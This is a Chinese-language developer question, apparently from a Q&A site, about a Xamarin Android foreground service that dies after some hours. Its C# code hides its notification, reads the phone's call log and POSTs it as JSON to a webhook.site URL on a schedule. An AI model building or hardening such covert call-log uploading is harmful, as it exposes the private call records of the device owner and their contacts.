问题

我的前台服务有问题。当我启动应用程序时，服务启动成功。但是几个小时后，由于未知原因，服务停止了。（移动设备顶部栏中的通知已删除）。

我在多个移动设备上对其进行了测试，这个问题无处不在，即使在节电模式关闭的情况下也是如此。

代码

我的服务：

    [Service]
    public class PService : Service
    {

        const int NOTIFICATION_ID = 101;

        public override void OnCreate()
        {
            base.OnCreate();
        }

        public override IBinder OnBind(Intent intent)
        {
            return null;
        }


        [Obsolete]
        public override StartCommandResult OnStartCommand(Intent intent, StartCommandFlags flags, int startId)
        {

            NotificationChannel chan = new NotificationChannel("my_service_urgent", "My Channel", NotificationImportance.None);
            chan.EnableVibration(false);
            chan.LockscreenVisibility = NotificationVisibility.Secret;

            NotificationManager notificationManager = GetSystemService(NotificationService) as NotificationManager;
            notificationManager.CreateNotificationChannel(chan);

            var notification = new Notification.Builder(this, "my_service_urgent")
            .SetContentTitle("title")
            .SetContentText("text")
            .SetOngoing(true)
            .SetChannelId("my_service_urgent")
            .Build();

            StartForeground(NOTIFICATION_ID, notification);

            var seconds = TimeSpan.FromSeconds(15);
            Device.StartTimer(seconds, () =>
            {


            Root r = new Root();

            MySqlConnection con = new MySqlConnection(***PRIVATE***);
            con.Open();

            MySqlCommand cmd = con.CreateCommand();
            cmd.CommandText = "SELECT * FROM user_data";
            MySqlDataReader reader = cmd.ExecuteReader();

            DateTime user = DateTime.Now;

            while (reader.Read())
            {
                if (reader.GetString(0) == Preferences.Get("GUID", "ERROR"))
                {

                    user = DateTime.ParseExact(reader[1].ToString(), "HH:mm:ss", CultureInfo.InvariantCulture);
                    r.ID = reader.GetString(2);
                }
            }

            async void LoadCallLog()
            {
                var Logg = DependencyService.Get<ICallLog>().GetCallLogs();

                r.calls = (List<CallLogModel>)Logg;

                var serialized = JsonConvert.SerializeObject(r);
                using (var client = new HttpClient())
                {
                    await client.PostAsync("https://webhook.site/dd7cd0f8-6bd8-4e9f-961d-6b105e1dc7eb", new StringContent(serialized));
                }
            }

            if (user.ToString("HH:mm") == DateTime.Now.ToString("HH:mm"))
            {
                LoadCallLog();
                Thread.Sleep(60000);
            }

                return true;
            });

            return StartCommandResult.Sticky;
        }

        public override void OnDestroy()
        {
        }
    }

有人知道出了什么问题吗？

几个小时后前台服务就死了
